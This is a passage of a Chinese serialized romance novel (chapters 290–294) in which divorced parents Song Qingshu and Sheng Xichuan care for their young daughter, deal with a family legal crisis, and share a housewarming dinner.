有问题勇敢面对就好,她不是孤军奋战,她还有他。
宋清殊觉得,她已经要投降了,哪怕再受一次伤,她也不会后悔。
第二天一早,盛熙川如约而至。
宋清殊正在跟珍珠一起刷牙。
敲门声响起时,珍珠马上欢呼一声,丢下牙刷,带着满嘴的泡沫跑去迎接。
盛熙川抱着她回来,站在浴室外敲门:“我们可以进去吗?”
宋清殊已经收拾妥当,忙替两人打开浴室门让了位置。
她站在门口,父女两人在里面。
宋清殊看盛熙川拿了珍珠的漱口杯,认真教她漱口,又让她张嘴。
“来,爸爸看看有没有刷好。”
珍珠便真的咧开没有几颗牙的嘴给盛熙川看。
“爸爸,你闻闻,我的牙膏是水蜜桃味儿的。”她说着,凑近对盛熙川哈了口气。
场面莫名温馨。
雪姐路过,感叹了一声:“珍珠好像只有在她爸爸面前是个小孩子。”
宋清殊没作声,她自己都没注意到,她看着父女两人互动,嘴角一直是上扬的。
她们的早餐向来比较简单,今早是青菜面,不过给盛熙川多做了一碗出来。
盛熙川也不挑,能守着宋清殊和珍珠吃饭,别说青菜面,吃糠咽菜他都高兴。
但他含蓄,不敢得意忘形。
只是没想到珍珠要起高调,她一本正经看着宋清殊:“妈妈,爸爸的右手都这样了,吃饭太不方便,你是不是该喂爸爸?”
季春望准备了一肚子开场白,却被宋清殊抢先,好话赖话都让她一个人说了。
季春望越想越觉得她狡猾又难缠。
季卿也真是的,好好的,得罪谁不行?惹她做什么!
索性,季春望也不说了,等宋清殊说。
宋清殊却又开始笑着给他找台阶。
“我之所以这么说,最主要的一点是因为,昨天您明明看见了我和熙川在看守所,但网上只字未提。我就知道这件事不是您做的,您也不是落井下石的人。”
这还像句人话,季春望脸色又好看了一点。
“季先生,我和季卿也没什么深仇大恨,您在我弟弟的事情上不落井下石,我很感激,我和季卿的恩怨就一笔勾销了。您把人接回来吧。”
宋清殊喝光杯中茶,站起身来。
“感谢侄女体谅,主要是老爷子年纪大了,看不见孙女,也实在想……”季春望就坡下馿,笑着起身送她。
这件事就这么定下了。
宋清殊不是非退让不可,可她不想让季家为这件事的干扰项。
她要下力气还陆展清白,以及把陆氏的损失到最低。
到这个时候,陆展已经在看守所拘禁超过48小时。
宋清殊刚从茶馆出来,便在群里看到了陆夫人发的消息:【展展已经回家了,但会随时接受调查】
宋清殊回:【让展展好好休息,别多想,有我呢】
消息还没发出去,她看到了盛熙川的消息。
他@了陆夫人:【让展展好好休息,凡事有我】
说不出心里什么感受,一股暖流涌入,宋清殊把自己打的字一点点删除,也回了一个【好好休息】。
自己家人被放在心上的感觉,真的很好。
不管怎么说,陆展能出来,宋清殊就已经松了口气。
她之前太慌乱,才有那种牵着鼻子走的感觉,如今理清了头绪,她竟然轻松下来。
有什么呢?损失的名誉可以找回来,钱缩水了可以再赚,家人平安,就是最好的。
有她在,陆二叔和陈南枝谁也别想得逞,她绝不会允许伤害陆夫人和陆展的事发生。
彼此又聊了几句,显然陆夫人跟她想的差不多,也明显轻松不少。
刚到车里,盛熙川的电话打过来,宋清殊开了车载蓝牙接。
“怎么样?季春望没有为难你吧?”他问。
宋清殊笑:“他趁火打劫,只占便宜不吃亏,有什么好为难我的?”
盛熙川沉默片刻感慨:“白让他捡了这么多便宜。”
宋清殊:“其实让不让季卿回来两可,我只是不想让季家成为一个干扰项。”
盛熙川道:“那倒是,主要是季卿一个人在国外,季家的势力都在国内,除了让她情感上难受,也没有什么惩戒的目的。”
宋清殊想说情感上难受已经够了,但人是她赶出去的,也是她松口让回来的,说这些没什么意义。
她选择了沉默。
盛熙川显然也听出了她不想就这个话题多聊,丝滑地转移了话题。
“有件事一直没告诉你,我在丹峰公馆也有房子,准备明天过去住,离得太近,会让你觉得不舒服吗?”
这话宋清殊要转好几个弯,才能理清楚说什么。
丹峰公馆是她所在的小区名字。
“离得多近,不会跟兰溪一样,跟我上下楼吧?”
盛熙川“嗯”了一声。
宋清殊:“……”
难怪明明有安全门,他依然能来去自如,合着也是业主。
她沉默了两三分钟,以至于盛熙川都有点慌,在反思自己最近是不是得了几分好脸色开始得寸进尺了。
“如果不方便……”
“你该不会是……”
两人又同时开口。
“你先说。”盛熙川说。
“你该不会是知道我住这里后又买的吧?”
盛熙川又“嗯”了一声,不仅如此,为了让她楼上邻居转让,他还花了高价。
盛熙川自己也尴尬。
“那时候头脑发热,只想着让你回来,就不太讲究方式方法。”他有些不好意思。
极度的坦诚拥有无坚不摧的力量,宋清殊心软。
“你是准备过来长住吗?”她问。
“应该会两边跑。”
宋清殊“嗯”了一声,又问:“需要帮你搬家吗?”
那边愣了一下:“你不介意?”
语气竟然有点惊喜。
这话问的,什么时候住自己的房子都要别人允许了?
“你只是我邻居,又不是要住进我家。”她玩笑,语气轻松。
盛熙川那边也笑了。
“东西都是现成的,我明天过去就行。就是怕哪天突然在电梯遇见,你会觉得反感。”
“不会。”宋清殊说,“你这样尊重我,我很高兴。”
两人又聊了几句,一直到宋清殊安全到家。
“明天不是来换药,你直接在家里吃早饭吧。”宋清殊邀请他。
盛熙川低笑:“好,那我需要带练习筷吗?”
宋清殊跟着笑:“不用,你用你女儿的,她现在是大孩子,已经不需要了。”
她回国时是五年前的夏天,如今五年过去了,两人终于摸清楚了彼此的打开方式,能像朋友一样相处交流。
他们都很珍惜。
彼此说了晚安,这一晚,宋清殊终于能放下心里的千斤重担,睡了个好觉。
有问题勇敢面对就好,她不是孤军奋战,她还有他。
宋清殊觉得,她已经要投降了,哪怕再受一次伤,她也不会后悔。
第二天一早,盛熙川如约而至。
宋清殊正在跟珍珠一起刷牙。
敲门声响起时,珍珠马上欢呼一声,丢下牙刷,带着满嘴的泡沫跑去迎接。
盛熙川抱着她回来,站在浴室外敲门:“我们可以进去吗?”
宋清殊已经收拾妥当,忙替两人打开浴室门让了位置。
她站在门口,父女两人在里面。
宋清殊看盛熙川拿了珍珠的漱口杯,认真教她漱口,又让她张嘴。
“来,爸爸看看有没有刷好。”
珍珠便真的咧开没有几颗牙的嘴给盛熙川看。
“爸爸,你闻闻,我的牙膏是水蜜桃味儿的。”她说着,凑近对盛熙川哈了口气。
场面莫名温馨。
雪姐路过,感叹了一声:“珍珠好像只有在她爸爸面前是个小孩子。”
宋清殊没作声,她自己都没注意到,她看着父女两人互动,嘴角一直是上扬的。
她们的早餐向来比较简单,今早是青菜面,不过给盛熙川多做了一碗出来。
盛熙川也不挑,能守着宋清殊和珍珠吃饭,别说青菜面,吃糠咽菜他都高兴。
但他含蓄,不敢得意忘形。
只是没想到珍珠要起高调,她一本正经看着宋清殊:“妈妈,爸爸的右手都这样了,吃饭太不方便,你是不是该喂爸爸?”
第290章 珍珠被反将一军
珍珠此言一出,空气都凝固了。
宋清殊怎么也没想到会被自己女儿“道德**”,她放下筷子,似笑非笑挑了下眉。
盛熙川有点尴尬,虽说都知道珍珠人小鬼大,说出什么话来都不奇怪,可这番话怎么都像他教的。
他垂着眼用左手吃面,努力降低存在感,不卷入母女两人的纷争里。
宋清殊一双眼睛落在珍珠脸上,她不说话的时候,很有威严,镇得住这个小家伙。
果然,珍珠已经开始心虚,悄悄吐了下舌头。之后,乖乖低头吸面,明显要示弱。
可宋清殊不放过她。
“宝宝,你是个孝顺孩子吗?”
珍珠毫不犹豫点头:“那当然了。”
宋清殊:“古有黄香九岁替父扇枕温席,你都快四岁了,不求你扇枕温席,爸爸手不方便,喂爸爸吃个饭不为过吧?”
盛熙川停下了动作,饶有趣味地看向两人。
宋清殊昨天还在跟他感慨,她这样的普通人生出天才小孩简直不可思议,现在看,她只是自以为普通罢了。
她对珍珠,从来都是潜移默化,且在心里拿她当大人看待的。
别人不会如此淡定的引经据典,跟三岁女儿讲二十四孝故事,但宋清殊会。
她只是觉得自己普通罢了,但她并不是个普通妈妈。
珍珠狡辩:“可爸爸是为妈妈受的伤,妈妈应该知恩图报。”
宋清殊先肯定她:“知恩图报是对的,我们每个人都应该做这样的人。但孝顺也是传统美德,你的孝心不仅要用到爸爸身上,也要用到妈妈身上。”
她循循善诱:“妈妈现在的身份不适合喂爸爸吃饭,你作为女儿,不该在这个时候让妈妈难堪,而是应该主动承担起这个责任,帮妈妈化解尴尬的同时,照顾好爸爸。”
这番话毫无逻辑漏洞,以至于珍珠张了张嘴,竟然说不出诡辩的话来。
她一双滚圆的眼睛看向盛熙川,小声求助道:“爸爸……”
盛熙川憋笑,干咳了一声正色道:“我觉得你妈妈说的对。”
珍珠嘟嘴:“那好吧。”
她给自己挖的坑,怨不得别人,只好拿起盛熙川的筷子,去夹他碗里的面喂给他吃。
小朋友夹面本就不方便,珍珠还要把筷子举高,更是难上加难。
盛熙川看不过去,又不好干涉宋清殊教育孩子,便把珍珠抱到自己腿上。
“来,慢慢喂,不着急。”他说。
在珍珠把筷子拿起时,一边握着她的手辅助她举高,一边低头迁就她,这顿饭吃的比他用左手和伤手都累。
珍珠更是有苦难言,把盛熙川那碗喂完,索性自己也不吃了。
“哎呀,昨天晚上一想到爸爸要来,就激动地没有睡好,我去睡会儿。”她说着,逃也似地跑回卧室。
在一旁小桌一边吃饭一边吃瓜的雪姐和芝姐顿时不淡定了。
“珍珠,你吃完饭再睡!”芝姐喊。
雪姐干脆过来拿了她的碗筷,直接追去了卧室。
宋清殊早就吃完了自己碗里的面,此时,和盛熙川四目相对,两人竟然同时笑出声来。
“吃一堑长一智,可怜的宝宝怕是接下去几天再也不敢给爸爸创造机会了。”盛熙川笑道。
宋清殊睨他一眼,想说珍珠这样人小鬼大,说不定都是跟他学的,可揶揄的话到嘴边,终是没有说出来。
她拿了医药箱给盛熙川换药。
昨天从医院出来,医生开的那些药都被她带回了家,但医生没开绷带,嘱咐说换完药晾一会儿,再贴几个创可贴就行。
尽管昨天已经见识过了盛熙川手心的伤,眼下纱布揭开,宋清殊又下意识摒住了呼吸。
她一瞬间严肃的神情,惹得盛熙川心底一动。
她到底知不知道,这个担心的模样太容易出事?
盛熙川强压下旖旎的心思,故作轻松:“看着吓人,其实不疼。医生还挺少女心,这针脚缝得多漂亮。”
他笑,宋清殊可笑不出来。
但她什么都没说,替他消毒,擦药。
最后,竟然献宝似的拿出了几个卡通创可贴来。
“这是之前珍珠有一次伤了手,哄珍珠
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的时候买的,跑了好几个药店呢!”她说着,替盛熙川贴了几个。
小心翼翼的模样,生怕弄疼他。
“宋清殊。”盛熙川看着她的头顶,轻声唤她,嗓音有点哑。
“嗯?”宋清殊抬头。
两人凑得有点近,盛熙川在她抬头时,又本能地拉进了这种距离,她的额头从他的唇上擦过去。
温软的触感,让宋清殊怔了一瞬。
她的心突然狂跳起来,好一阵儿刹不住车。
两人看着彼此,时间似静止了一瞬。
一个垂眸,一个抬头。
宋清殊的眼神干净的没有一丝杂质,他们的目光纠缠在一起。
那一瞬间,盛熙川想亲上去。
“什么?”宋清殊先开口。
盛熙川也忘了原本要说什么,左不过是上不了台面的酸话。
“没事。”他喉结不动声色地滚了一下,站起身来。
没人提刚才不经意的接触,可谁也忘不了。
珍珠吃瘪躲起来后,就再也没出来。
宋清殊和盛熙川两人一起去学校。
如今已经过了最开始惶恐不安的阶段,她平静极了。
路上,盛熙川开车,宋清殊坐在副驾整理思路。
她微信响了一下,是王岁岁。
【姐姐,我在网上看见陆家的事了。听说对方的母亲是个聋哑人,需要我过去帮忙沟通吗?】
王岁岁虽然也不会说话,却是后天形成的,关键是她又不会手语。
王千巽看这个妹妹又宝贝的跟什么似的,万一真被张春玲伤到可就麻烦了。
她礼貌道谢,回她:【暂时不需要,如果后期有什么麻烦,需要你帮忙,姐姐不会客气的。】
两人到了学校,校领导们不知道是因为她身边有盛熙川在,还是后来看了网上陆展做过的那些好事,都经过了深刻反省。
总之,态度都好了很多,最起码不跟第一次打交道一样,听不懂人话了。
宋清殊跟几位校领导重申了一下事情的严重性,以及还陆展清白的决心。
连带着说了一下陆枭。
第291章 上京第一美女
这所学校的门槛有多高是众所周知的。
陆枭这种半途转过来的情况,是明显不符合招生政策的。
起初,宋清殊还不敢往深了说,怕对陆展有不好的影响,如今想清楚了,反而什么都不怕了。
“陆枭怎么入的学,想必各位比我清楚,这件事跟陆枭有关,如果各位包庇,我一定会实名举报,把这件事闹大,大不了鱼死网破。”宋清殊说。
此言一出,那几位校领导神情都讪讪的。
“我们当时也没多想,毕竟陆氏是给学校捐过钱的,当时陆先生把人送进来,我们也算是卖陆氏的面子。”那位校长赔笑脸。
言下之意,人是你们陆氏送进来的,到头来,别觉得是我们受贿,你们陆氏也脱不了干系。
宋清殊抓住了这话里的漏洞。
“哪位陆先生?我干爸吗?”她故意问。
校长讪笑:“怎么可能?您干爸已经去世半年多了,我是说陆长鸣先生。”
“是我二叔送来的?这个陆枭跟他什么关系?”
她实在机灵,盛熙川知道她在套话,看校领导们支支吾吾答不出来,开口道:“这还用问吗?都姓陆,他又特别关照,当然是他儿子。”
那几位校领导都在看盛熙川脸色。
“对对,陆先生……陆长鸣先生对陆枭特别关照,肯定是他儿子!”校董会的一个人说。
“我好像还听到了陆枭叫爸爸!”马上有另一个人跟风。
这句话当然是无稽之谈,但他觉得,这一定是盛熙川想要的答案。
宋清殊点点头,没有揪住这个话题不放,而是说:“展展说,他跟曹小康打架,是因为曹小康说了很多长辈们的隐私,好像说陆家男人都不是好东西,在外面养女人之类的,不知道是不是在骂我二叔。
但这些隐私,除了陆枭,我想不到第二个人会告诉曹小康,还请你们多关注一下陆枭的动向。”
一帮校领导自然点头哈腰没什么话说。
想要的目的达到了,宋清殊也没有久留。
两人一直到离开学校,到了车里,盛熙川才伸手:“拿来吧。”
宋清殊:“什么?”
“你不是录了音?”
宋清殊转头看他:“你怎么知道?”
盛熙川:“到底是同床共枕过的人,你一开口,我就猜到了。”
宋清殊:“……”
他倒是还没那么粗俗,说一句“你一撅屁股就知道你拉什么屎”。
盛熙川显然也知道她在想什么,又逗她:“是想那么说来着,怕你觉得我这人满嘴屎尿屁,太俗气。”
这下,把宋清殊的路先堵住了。
宋清殊瞥他一眼:“好像你这么说不俗气似的。同床共枕过,是什么光彩的事吗?要特地拿出来提一提?”
盛熙川“啧”了一声。
“上京第一美人是我前妻,还不光彩吗?”
而且,他再好好表现一下,说不定就要成功了,不只是前妻了。
宋清殊现在对他的态度明显跟过去不同,已经了软了许多,丝毫不像过去那样抗拒了。
这话让宋清殊瞪大眼睛:“可不敢乱说,我可没听说过上京有这么一个评选。”
盛熙川:“我评的,但绝对没人会反驳。”
宋清殊心想,没人反驳还不是因为怕你?但她不想揪住这个没意义的话题不放,跟他插科打诨。
于是她把录音笔放到盛熙川手里。
宋清殊:“你知道下一步该做什么吧?”
盛熙川给她一个“不要小瞧我”的眼神。
“当然是告诉陆长鸣老婆,让她带着自己儿子悄悄去跟陆枭做个亲子鉴定。”
宋清殊:“……?!”
她还什么都没说,但盛熙川真的知道。
“那这件事找谁去说合适呢?”这是她比较纠结的问题。
如果她亲自去,就怕打草惊蛇。
陆二叔常年在外面乱搞,他和老婆的夫妻关系已经很差,但到底两人没离婚,还是利益共同体。
万一宋清殊去了,怕就怕他老婆突然“灵机一动”,先去跟陆二叔闹。
“好说,你不用操心,交给我来办就好。”盛熙川说,又问,“陆枭的DNA样本好拿到吗?”
宋清殊点头:“陆枭中午在学校吃午饭和休息,应该不难。”
那人又沟通了一会儿落实的细节,越发觉得这条路行得通。
这件事宋清殊还没有跟陆夫人商量,她录音也并不是出于这个目的,不过是有备无患。
谁知校方主动提陆二叔,她便下意识套了话。
其实,宋清殊并没有百分百的把握,认定陆枭是陆二叔的孩子,她这么做也是在赌。
但如果她不赌,等陆二叔和陈南枝先开口,陆夫人这边就落了下风。
赌一个大运,赢了就永绝后患。
输了,大概就要陆夫人想办法安置一下陆枭了。
但她觉得陆夫人也会这么选。
总不能什么都不做,就这样陷入被动。
“送我去陆家吧,我再跟干妈沟通一下这件事。”宋清殊说。
盛熙川自然是没有二话。
将宋清殊送到陆家门口,两人道别。
“晚上来新家吃个饭吗?”盛熙川问她,“我刚搬过来,也算是替我温居,热闹一下。”
好难拒绝的理由。
宋清殊点点头:“行,但珍珠9点必须睡觉,我们要早点下来。”
盛熙川:“放心好了。”
又说,“我让人给你做烧烤。”
彼此就这么说定了。
到了陆家,没想到莫兰溪也在。
“你什么时候回来的?”
宋清殊又惊又喜,拉住她的手,左看右看。
莫兰溪罕见地穿了条裙子,浅蓝色,虽然是长袖,但看上去很夏天。
她依然素颜,没有化妆,但皮肤白里透红,眼睛也比过去更水润。
“看来花都的确养人,你比过去气色更好了!”宋清殊夸她。
莫兰溪只是笑:“表姑说没什么大事,但我不放心,过来看看。”
陆夫人也笑道:“回来看看也好,几个月不见,还挺想你。”
又问:“宗辞怎么样,事业做得还顺利吧?”
宋清殊竖起耳朵。
第292章 不破不立
关于莫兰溪和霍宗辞的事,宋清殊一直没有问过。
看得出,两人彼此有感情却又很别扭,她不想多问给莫兰溪徒增心理负担。
更何况她自己还处理不好自己的一亩三分地,问了也帮不上忙。
莫兰溪现在住在她花都那边的房子里,而霍宗辞另买了一套房子跟她做邻居,和他的母亲住在一起。
莫兰溪没变成霍宗辞的女朋友,而是从她的助理变成了霍宗辞的助理。
总之,事情的走向跟她想的不太一样,两人到现在也没确定关系,却又不是最普通的朋友,或者上下级。
“挺好的,新公司运转很顺利。”莫兰溪说。
陆夫人点头:“差不多就给人家个机会,到底从头到尾都是你欠人家,这条命还是人家救的。”
她拿莫兰溪当女儿,有些话别人说了会让人多想,她说就不会。
莫兰溪笑:“姑姑,霍宗辞想找什么样的人找不到?他没钱的时候都那么多女人想往上扑,我是要给人家机会,还是要恩将仇报?”
“你这孩子,怎么这么不自信?”陆夫人嗔她,“你名校毕业,又聪明,长得又好,比别人差哪儿了?”
莫兰溪:“……姑姑,我哪有霍宗辞长得好。”
她一直对自己的脸非常有自知之明,知道自己不过是普通偏上。
莫兰溪觉得不管是从长相,出身,她都是配不上霍宗辞的。
至于霍宗辞救她……不过是因为当时只有他们两个,他总不能放任她不管。
而且,霍宗辞在花都的受欢迎程度,陆夫人是想不到的。
总而言之,莫兰溪和霍宗辞的进展并不像陆夫人和宋清殊想象中的那样。
这世界又不是模式化,非黑即白的,没有什么事件必须是什么走向的道理。
但看得出来,几个月不见,莫兰溪跟原来相比,虽然依旧寡言,却没有那么封闭了。
莫兰溪也在成长,一点点打开心扉,霍宗辞改变了她很多东西。
莫兰溪和陆夫人说着话,宋清殊不插嘴,只在一旁安静地听。
以至于莫兰溪先按捺不住,问她:“怎么就姑姑好奇,你不好奇吗?”
陆夫人笑:“她怎么可能不好奇?但她问你,你不就要问她?你们两个,一个泥菩萨一个土菩萨,都自身难保!”
这话,显然是在调侃宋清殊和盛熙川。
宋清殊心想,陆夫人还有心情调侃,看来调整得差不多了。
“你们两个说我不就听到了,怎么还需要自己再问?”宋清殊笑。
莫兰溪低头笑了一下,反而劝宋清殊:“我这是情况不同,但你和盛熙川,孩子都好几岁了,实在没必要这样僵着。”
陆夫人扯她一把:“你别管她,他们两个现在像重新进入暧昧期,好着呢。”
宋清殊:“……”
倒也不是,但她也不好反驳。毕竟她现在和盛熙川的关系,多少有点不清不楚。
他们之间的过往是一笔烂帐,已经分不清谁欠谁。
但外人不知道,外人看,就是她不知好歹又当又立,连盛熙川这样的人都敢吊着。
宋清殊在心里过了过陆夫人的话,又放下。
她想起自己的来意来意。
于是问:“展展呢?”
听宋清殊问陆展,陆夫人转晴的情绪又蒙上一层灰。
“昨晚回来后就想不开,一直在楼上,不肯出来见人,饭也不想吃。知道兰溪来,也就下来打了个招呼,又上去了。”
莫兰溪:“他看着再成熟,也到底只有14岁,刚经历了这样大的事,想不开很正常。”
陆夫人点点头:“我约了几个心理医生谈谈,准备替展展做一下心理创伤干预。”
说起这个,宋清殊第一反应是推荐王千巽。
“干妈还记得跟我们去花都的那个心理医生吗?”她说。
莫兰溪眼睛也亮了一下:“对,姑姑,王医生很厉害,就是他告诉婧珊我们还活着。”
陆夫人听宋清殊说过好几次王千巽,自然记得。
比起他在心理学上的建树,她其实和宋清殊一样,明显对王千巽“怪力乱神”的部分更感兴趣。
陆夫人点点头道:“那你推荐给我,我让展展跟他聊聊。”
这件事就彼此说定了。
之后,三人关起门来说陆枭的事。
宋清殊把自己的计划说了。
“没有千日防贼的道理,这个问题现在不解决,以后展展也要独自面对,可这次如果成功了,会直接从根源解决问题。”她说。
又对陆夫人正色道:“但失败了,干爸的名声也就毁了,陆枭还会摆到明面上来,需要您给他一个安置方案。”
毕竟陆枭可能是陆二叔孩子这件事只是猜测,并没有百分之百的把握。
陆夫人也只思考了两分钟。
“可以,就这么去做吧。”她握宋清殊的手,“你不要有任何心理负担,毕竟,如果陆枭真的是你干爸的私生子,那你干爸的名声也是被他自己毁的,不是你。”
说出这番话来,陆夫人自己也坚定了很多。
这件事必须有个了结了。
宋清殊说的对,趁着她还年轻,有把控能力,倒不如直面问题。
这次,她豁出去了。
事情慢慢理出头绪,步入正轨,不安的心都稳了下来。
中午,三个女人一起吃饭。
陆展只下楼跟宋清殊又打了个招呼就上去了。
看得出,曹小康的死,对他打击很大。
“到底是年纪小,很多事上还不通透。”陆夫人说,“人在事上磨,经过这次,展展一定会变得更加强大。做事也更加深思熟虑,不鲁莽。”
凡事都有一体两面,陆夫人已经开始往好的方面看。
三人吃饭,聊了聊莫兰溪的近况。
期间,霍宗辞的电话打了进来。
莫兰溪出去接,回来后说:“他说明天也会过来,正好这边有个生意要谈。”
陆夫人笑道:“他这生意来的也挺是时候。”
莫兰溪强调:“是真有生意。”
宋清殊低头憋笑:“没人说是他故意找借口看你,紧张什么?”
莫兰溪佯怒板脸,盯着宋清殊的眼睛:“你要是也跟着姑姑调侃我,我可也不放过你。”
第293章 给珍珠的惊喜
计划按部就班,有条不紊的进行。
宋清殊摆脱了前几天的紧绷,整个人都松弛下来。
她有种大考来临前的平静——
反正功在平时,该做的都做了,做不了的部分,临时抱佛脚也没什么意义。
当天下午,她甚至去公司处理了一会儿工作的事,强行把生活拉到正轨来。
晚上,她还记得跟盛熙川的约定,去楼上吃饭。
两人谁都没有告诉珍珠,准备给她个惊喜。
宋清殊特地去花卉市场买了个盆栽,然后又打电话给保姆,让珍珠先不要吃晚饭,在家等她。
她下午5:40到家,快速换了身衣服,才对珍珠道:“走,带你去邻居家串个门。”
珍珠吃惊地瞪大眼睛:“太阳从西边出来了?除了兰溪阿姨,这个小区里还有你认识的邻居?”
宋清殊还没说话,芝姐先笑了:“这孩子居然调侃起你妈妈来了?是不是报早上的‘仇’?”
早上,“伪”一家三口的互动,把雪姐和芝姐乐坏了,两人难得见到珍珠吃瘪,今天一天都背着珍珠笑这件事。
在她们两个眼里,天底下没有比盛熙川和宋清殊更适合复婚的前夫妻了。
他们在一起,连珍珠都恢复了一点孩子气,太难得。
但两个保姆是边界感很强的人,只吃瓜不劝,不给宋清殊增加心理负担。
说起早上的“仇”,珍珠小朋友一脸委屈。
“妈妈真是的,我到现在胳膊都是酸的。”她嘟嘴。
宋清殊在心里想笑,面上却还要一本正经:“妈妈是让你知道社会险恶,提前适应社会节奏,在给别人挖坑之前想想后果。”
珍珠撇嘴:“上纲上线。”
她肉嘟嘟的,委屈嘟嘴的样子,实在呆萌,宋清殊再也装不下去了,“噗”地一声笑了出来。
“好啦。我们两个都有错,这件事就翻篇过去,好不好?”她捏了捏珍珠的小肉脸说。
珍珠大气:“那好吧。”
两位保姆都跟着笑出声来。
宋清殊抱着那盆盆栽,坐电梯上楼。
随即,宋清殊推了珍珠一把。
“乖,按门铃。”
门铃恰好在她举着胳膊可以够到的位置。
珍珠嘴上不情不愿:“妈妈,我在5分钟之前刚说过胳膊酸。”
行动却很诚实,直接伸手按了。
门铃也就响了三秒,入户门打开,珍珠“啊”地叫出声来。
惊喜来的猝不及防,稳重自持如珍珠小朋友,也忍不住喜形于色。
盛熙川伸手将她抱起,她便抱着盛熙川脖子怪叫。
之后才问:“爸爸以后都住在这里了吗?”
“不一定。”盛熙川笑,“但会多过来,以后你也可以来跟爸爸睡。”
珍珠小鸡啄米似的点头。
服了这父女两个,明明早上刚见过面,现在搞得好像久别重逢。
宋清殊站在一旁只觉得两人黏糊得让人无语。
明明珍珠是她一手带大,却总能在盛熙川面前表现出最孩子气的一面。
一见他就开心的不得了。
虽然不排除小家伙有表演的成分——
她见到盛熙川表现的越开心,妈妈复婚的可能就越大。
但宋清殊着实吃味。
“差不多得了,两位。”她开口。
盛熙川这才放下珍珠,又给两人拿了拖鞋。
两双一模一样的粉色拖鞋,带着过分可爱的兔子耳朵装饰。
宋清殊一边把脚伸进去,一边在心里吐槽了一下他的直男审美。
在门口,她递上了自己买的盆栽:“喏,温居礼物。”
“这是什么植物?”盛熙川问。
宋清殊:“栀子花,卖花的老板说这个开花的时候特别漂亮。”
盛熙川笑着收了,把她们让进门,那盆栀子摆在客厅最显眼的地方。
饭菜已经在餐厅摆好了,夏天,倒也不担心会凉。
盛熙川说:“你们等一下,我去洗水果。”
珍珠赶忙推宋清殊:“妈妈快去帮忙。”
宋清殊:“……”
胳膊肘往外拐的小东西。
她原本想说自己是客人,没有进厨房帮忙的道理。
又一想,盛熙川的右手伤着,就直接进去了。
盛熙川见她进厨房挑了下眉。
宋清殊尴尬:“你女儿非要我进来帮忙。”
盛熙川了然地点头:“是个心疼爸爸的好宝宝。”
合着就只心疼爸爸是吧?妈妈的命不是命吗?
宋清殊暗自吐槽。
“需要我做什么?”她问。
东西都是现成的,别墅的佣人过来处理过的,盛熙川所谓的“洗”也不过是把草莓和车厘子从水里捞出来,左手也能办到。
“那你替我尝尝吧。”他说,左手拈起一颗车厘子塞进了宋清殊嘴里。
他的指腹碰到了她的唇,又离开,装作若无其事地转过身去。
厨房安静下来。
盛熙川把水果装盘,满脑子都是刚才指腹上温软的触感。
而宋清殊不动声色地把那颗车厘子慢慢吃完。
酸甜的果子在口腔中爆浆,汁水似乎一路流到心里去。
装好盘,盛熙川端着水果走出厨房,宋清殊又跟个小尾巴似的跟出来。
珍珠小朋友不满:“水果洗干净了吗?你们出来的这么快。”
八菜一汤,烤好的羊排,羊腿肉,还不算水果甜品,摆满了整张桌子。
珍珠小朋友坐主位,盛熙川和宋清殊在两边作陪。
“要不是我才三岁,怎么也要喝点酒庆祝一下。”她感慨,“这是我人生中第一次,跟爸爸妈妈一起吃饭。”
宋清殊刚想纠正她。
珍珠抢先说:“我是说没有其他人在场,且‘在家’的情况下。”
定语很长,条件苛刻。
但这话已经足够让爱她的爸爸妈妈心酸。
毕竟一家三口一起吃饭,对别的小朋友来说是多么寻常的一件事。
对珍珠来说,却值得庆祝。
盛熙川和宋清殊都沉默了一瞬。
“那就庆祝。”
盛熙川先反应过来,他起身,去酒柜里拿了瓶红酒出来,又给珍珠开了一盒牛奶。
“一会儿,我们共同举杯,敬这有意义的一餐。”
第294章 酒不醉人人自醉
盛熙川要喝酒,宋清殊赶忙阻止。
“医生说你不能喝酒,会疤痕增生!”
珍珠一听也马上道:“那不要喝了。我只是想表达一下这顿饭对我很重要,并不是有酒才行。”
盛熙川听两人这么说,更是心花怒放。
但他面上端着,只说:“没关系,这酒度数不高。对我女儿来说,这么重要的一餐,肯定要庆祝。”
他给自己和宋清殊都倒上,又给珍珠开了牛奶。
宋清殊见他都倒了,只好说:“那你就喝这一杯。”
一边说,一边直接把酒拿到了自己手边。
盛熙川笑:“行,你在家里最大,听你的。”
这话显然不对,他们是珍珠的爸爸妈妈,却不是一家的。
但珍珠小朋友正煽情,宋清殊不想扫兴。
她不作声。
盛熙川又感叹:“这瓶是年份最好的木兰朵,我酒窖里最贵的一瓶,可惜了。”
他都觉得贵,价格宋清殊不敢细究。
可开都开了。
宋清殊主动承担:“我都喝完,不浪费。”
“行,喝多了,别耍酒疯。”盛熙川逗她。
宋清殊突然被激起了胜负欲:“瞧不起谁呢?我这几年酒量也有长进好吧。”
珍珠助攻:“就是。爸爸,妈妈酒量好着呢。”
虽然她也没见识过,但毕竟妈妈从来没有醉醺醺回过家,这怎么不算酒量好呢?
“好,我信了。”
盛熙川被珍珠一本正经的模样可爱到,又转头看她,“来宝贝,要不要给爸爸说个祝酒词?”
珍珠大大方方起身,捧起牛奶盒子。
“祝爸爸得偿所愿,早点抱得美人归。"
宋清殊:???
这孩子是疯了吗?
盛熙川一本正经:“爸爸一定努力。”
接着父女两人把目光投向了宋清殊。
宋清殊被两双炙热的眼睛盯得脑袋疼。
她心一横:"祝你女儿健康成长。"
盛熙川从善如流:“彼此彼此,祝我们的女儿都能健康成长。”
这下轮到珍珠无语。
她朝天翻了个白眼:“爸爸,妈妈,不知道的以为你们有几个女儿。”
盛熙川和宋清殊一同大笑起来。
三个人这样没营养的话题,居然聊得挺开心。
盛熙川喝完那杯酒,杯子就被宋清殊收走了。
她替他换了白水。
又嘱咐:“你的伤除了海鲜,最好是连牛羊肉也不要吃,毕竟都算发物。”
盛熙川听话得很:“我不吃,这些本来就是为了给你们吃的。”
他有情饮水饱,只是一大一小两个女人坐在面前,别说忌口,让他斋戒都开心。盛熙川觉得,这样开心又平稳的时刻,真的好几年没有过了。
他觉得幸福。
当着珍珠的面,俩人不好聊陆展的事,都觉得这个话题还是相对沉重了。
两人聊珍珠。
“感觉珍珠一直在家,完全不跟人打交道,也不是办法。我想让珍珠去跟岁岁学围棋,我们也说好了,等再过一个月,岁岁一毕业就开始。”宋清殊说。
盛熙川自然没有异议。
“不过,除了围棋,最好也培养一些跟运动相关的爱好。”他说,“医生警告我珍珠有点超重,小的时候还好,马上要四岁了,还是要控制一下。”
珍珠疯狂点头:“我是要减肥了,我要跟妈妈一样漂亮!”
聪明人偶尔的嘴甜真的让人疯狂心动,连宋清殊这种经常被人盛赞美貌的人,都被女儿夸的有点飘。
她不忘刚才的豪言壮语,给自己倒了第二杯红酒。
